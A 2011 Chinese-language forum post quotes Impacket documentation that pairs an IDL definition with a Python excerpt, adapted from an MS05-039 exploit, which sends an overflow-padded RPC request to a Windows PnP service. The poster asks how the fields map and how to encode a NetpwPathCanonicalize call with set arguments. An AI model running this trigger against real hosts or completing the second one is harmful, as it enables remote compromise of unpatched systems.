2011年06月15日 星期三 23:00
这是python中impacket包中的一个例子,有些不明白的地方
For example, this is the output for a specific function from UMPNPMGR.DLL
which can be used to exploit the bug described in MS05-039:
'''代码部分'''
[
uuid(8d9f4e40-a03d-11ce-8f69-08003e30051b)
version(1.0)
]
/* opcode: 0x36, address: 0x767A6E07*/
long _PNP_QueryResConfList@32 (
[in][string] wchar_t * arg_1,
[in] long arg_2,
[in][size_is(arg_4)] char * arg_3,
[in] long arg_4,
[out][size_is(arg_6)] char * arg_5,
[in] long arg_6,
[in] long arg_7
);
'''代码部分'''
Interpreting this IDL definition is not straight forward, but reading [4] will help a
lot. Here’s a different version, translated to python using some of the libraries included in
Impacket:
'''代码部分'''
from impacket.dcerpc import transport, dcerpc_v4
from impacket import uuid
from impacket.structure import Structure
class PNP_QueryResConfList(Structure):
alignment = 4
structure = (
('treeRoot', 'w'),
('resourceType','<L=0xffff'),
('resourceLen1','<L-resource'),
('resource', ':'),
('resourceLen2','<L-resource'),
('unknown_1', '<L=4'),
('unknown_2', '<L=0'),
('unknown_3', '<L=0'),
)
# DCERPC over UDP
transp = transport.UDPTransport('192.168.1.1', 1026) # port may vary
transp.connect()
dce = dcerpc_v4.DCERPC_v4(transp)
dce.bind(uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))
query = PNP_QueryResConfList()
query['treeRoot'] = "ROOT\\ROOT\\ROOT\x00".encode('utf_16_le')
query['resource'] = '\x00'*8+'\x00\x01\x00\x00'+'A'*256
dce.call(0x36, query)
'''代码部分'''
The previous code is an adapted excerpt from the exploit for the vulnerability
described in MS05-039 included in CORE IMPACT. Note how the IDL definition was
transformed into bytes using the Structure library.
主要是加粗部分的几个问题,这两部分是怎么对应的,上面有7个参数,下面有8个?alignment = 4 代表什么?structure里面的参数名称是随便命名吗?希望大牛能解释详细一点。另外,下面这个接口转换过来应该怎么写?(arg_00不为空就行, 需要对arg_01和arg_04赋值,aeg_06必须为0)
long NetpwPathCanonicalize(
[in][unique][string]wchar_t *arg_00,
[in][string]wchar_t *arg_01,
[out][size_is(arg_3)]char *arg_02,
[in][range(0,64000)]long *arg_03,
[in][string]wchar_t *arg_04,
[in,out]long *arg_05,
[in]long arg_06
);
Zeuux © 2024
京ICP备05028076号